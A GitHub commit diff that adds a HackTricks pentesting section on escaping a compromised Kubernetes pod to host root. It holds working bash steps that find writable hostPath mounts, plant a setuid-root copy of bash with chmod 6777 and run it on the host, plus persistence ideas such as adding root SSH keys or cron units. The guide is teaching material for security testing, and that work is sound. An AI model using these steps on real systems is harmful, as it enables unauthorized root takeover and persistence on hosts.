Skip to content

Commit 1e51bb7

Browse files
authored
Merge pull request #210 from HackTricks-wiki/update_Forgotten_20250917_063108
Forgotten
2 parents bb76310 + 1111212 commit 1e51bb7

File tree

1 file changed

+59
-0
lines changed

1 file changed

+59
-0
lines changed

src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,56 @@ You can check this **docker breakouts to try to escape** from a pod you have com
2222
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html
2323
{{#endref}}
2424

25+
### Abusing writable hostPath/bind mounts (container -> host root via SUID planting)
26+
27+
If a compromised pod/container has a writable volume that maps directly to the host filesystem (Kubernetes hostPath or Docker bind mount), and you can become root inside the container, you can leverage the mount to create a setuid-root binary on the host and then execute it from the host to pop root.
28+
29+
Key conditions:
30+
- The mounted volume is writable from inside the container (readOnly: false and filesystem permissions allow write).
31+
- The host filesystem backing the mount is not mounted with the nosuid option.
32+
- You have some way to execute the planted binary on the host (for example, separate SSH/RCE on host, a user on the host can execute it, or another vector that runs binaries from that path).
33+
34+
How to identify writable hostPath/bind mounts:
35+
- With kubectl, check for hostPath volumes: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
36+
- From inside the container, list mounts and look for host-path mounts and test writability:
37+
38+
```bash
39+
# Inside the compromised container
40+
mount | column -t
41+
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
42+
findmnt -T / 2>/dev/null | sed -n '1,200p'
43+
# Test if a specific mount path is writable
44+
TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path
45+
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
46+
# Quick practical test
47+
printf "ping\n" > "$TEST_DIR/.w"
48+
```
49+
50+
Plant a setuid root binary from the container:
51+
52+
```bash
53+
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
54+
MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory
55+
cp /bin/bash "$MOUNT/suidbash"
56+
chmod 6777 "$MOUNT/suidbash"
57+
ls -l "$MOUNT/suidbash"
58+
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
59+
```
60+
61+
Execute on the host to get root:
62+
63+
```bash
64+
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
65+
# Example host path: /opt/limesurvey/suidbash
66+
ls -l /opt/limesurvey/suidbash
67+
/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash
68+
```
69+
70+
Notes and troubleshooting:
71+
- If the host mount has nosuid, setuid bits will be ignored. Check mount options on the host (cat /proc/mounts | grep <mountpoint>) and look for nosuid.
72+
- If you cannot get a host execution path, similar writable mounts can be abused to write other persistence/priv-esc artifacts on the host if the mapped directory is security-critical (e.g., add a root SSH key if the mount maps into /root/.ssh, drop a cron/systemd unit if maps into /etc, replace a root-owned binary in PATH that the host will execute, etc.). Feasibility depends entirely on what path is mounted.
73+
- This technique also works with plain Docker bind mounts; in Kubernetes it’s typically a hostPath volume (readOnly: false) or an incorrectly scoped subPath.
74+
2575
### Abusing Kubernetes Privileges
2676

2777
As explained in the section about **kubernetes enumeration**:
@@ -393,6 +443,15 @@ Off-Menu +
393443

394444
- [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI)
395445

446+
## References
447+
448+
- [Forgotten (HTB) - Writable bind mount SUID planting](https://0xdf.gitlab.io/2025/09/16/htb-forgotten.html)
449+
- [Kubernetes hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath)
450+
- [Docker bind mounts](https://docs.docker.com/storage/bind-mounts/)
451+
- [Bash -p (preserve privileges)](https://www.gnu.org/software/bash/manual/bash.html#Invoking-Bash)
452+
- [mount(8) nosuid option](https://man7.org/linux/man-pages/man8/mount.8.html)
453+
- [Peirates (Kubernetes attack tool)](https://github.com/inguardians/peirates)
454+
396455
{{#include ../../banners/hacktricks-training.md}}
397456

398457

0 commit comments

Comments
 (0)